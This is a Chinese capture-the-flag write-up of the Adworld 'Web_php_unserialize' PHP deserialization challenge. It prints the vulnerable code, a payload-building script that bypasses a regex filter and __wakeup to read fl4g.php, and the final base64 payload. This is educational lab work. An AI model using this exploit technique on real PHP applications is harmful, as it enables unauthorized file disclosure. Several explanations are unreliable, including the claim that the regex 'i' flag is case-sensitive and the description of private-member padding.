攻防世界系列:Web_php_unserialize

0x01.代码审计

1.类Demo中struct()destruct()函数分别在代码执行开始和结束时调用。而wakeup函数会在代码执行过程中自动调用。

2.对于我们传入的参数还要被preg_math()函数过滤。

3.在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本存在wakeup的漏洞。当反序列化中object(对象)的个数和之前的个数不等时,wakeup就会被绕过

4.flag 在 fl4g.php 文件中,要想显示该文件需要绕过

第一:

preg_match('/[oc]:\d+:/i', $var)

第二:

function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
wakeup 函数是魔术用法会在对象反序列化时自动执行
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>

补充:

1.反序列化漏洞?

php中提供两个函数可将任意类型数据转换成string类型,或逆过程。
Serizlaze
Unserialize
当unserialize的参数被用户控制时,就会形成反序列化漏洞。

2.魔术函数?
magic函数,通常以“__"开头(如__construct\__destruct\__toString\__sleep\__wakeup)
__toString当对象被以字符串输出时调用
__sleep当对对象序列化时调用(如果存在的话),常用于提交未提交的数据
__wakeup当对对象反序列化时调用(如果存在的话),常用于重新建立数据库连接,或执行其他初始化操作

 

0x02.参数构造

<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
} $A = new Demo('fl4g.php');
$C = serialize($A);
//string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$C = str_replace('O:4', 'O:+4',$C);//绕过preg_match
$C = str_replace(':1:', ':2:',$C);//绕过wakeup
var_dump($C);
//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
var_dump(base64_encode($C));
//string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==" ?>

1.

我们构造脚本把字符串 fl4g.php 序列化后层层伪装,在进行base64加密(因为源代码中有base64解密)

字符串" fl4g.php " 序列化后为 "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"

2.

preg_match('/[oc]:\d+:/i', $var)

--- preg_match正则函数

--- \d 整形数

--- i 区分大小写

函数想过滤 “ O:4 ”我们就伪装成“O:+4” 即$C = str_replace('O:4', 'O:+4',$C);//绕过preg_match

3.

function __wakeup() {

if ($this->file != 'index.php')

{

//the secret is in the fl4g.php

$this->file = 'index.php';

}

当反序列化后的对象个数大于原来的个数时 wakeup函数就会被绕过,所以我们可以把对象个数写成2个

$C = str_replace(':1:', ':2:',$C);//绕过wakeup

注意:

$file 是私有成员序列化之后字符串首尾会多出两个空格 “%00*%00”,所以base64加密最好在代码中执行防止复制漏掉

00x3.Get Flag

输出运行结果:

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

传参var

最新文章

  1. Ubuntu 系统 update-rc.d 命令
  2. liunx 多个tomcat 产生的新问题
  3. 《JavaScript权威指南》学习笔记 第二天 下好一盘大棋
  4. case when then else end
  5. 原生态js,鼠标按下后,经过了那些单元格
  6. win7的svchost.exe占用内存过高如何解决
  7. JAVA File常用的API介绍
  8. 浅析@Deprecated
  9. 三十项调整助力 Ubuntu 13.04 更上一层楼
  10. indexOf()--数组去重
  11. Java 架构师之路(1)
  12. vue2.0动态绑定图片src属性值初始化时报错
  13. 15-谜问题(深拷贝、LC检索、面向对象编程)
  14. 自守数算法----C语言实现
  15. 滑动时候报错:Unable to preventDefault inside passive event listener, 移动端滑动性能优化
  16. 如何编写.NET Core Global Tools (附两个案例)
  17. python基础(14)-反射&amp;类的内置函数
  18. Vue-项目之免费课和购物车实现
  19. Ex 6_19 至多用k枚硬币兑换价格_第七次作业
  20. 【WPF】ListBox GridViewColumn Header 文字换行、文字多行显示

热门文章

  1. [图论]最优布线问题:kruskal
  2. jQuery核心函数和静态方法
  3. Spring(五)Spring与Web环境集成
  4. Neo4j/cypher学习笔记与学习建议
  5. Mybatis一级缓存和结合Spring Framework后失效的源码探究
  6. SpringCloud(五)GateWay网关
  7. 深入浅出:MySQL的左连接、右连接、等值连接
  8. 解决小程序中Data.parse()获取时间戳IOS不兼容
  9. TP5学习记录(Model篇)
  10. POJ 2516 基础费用流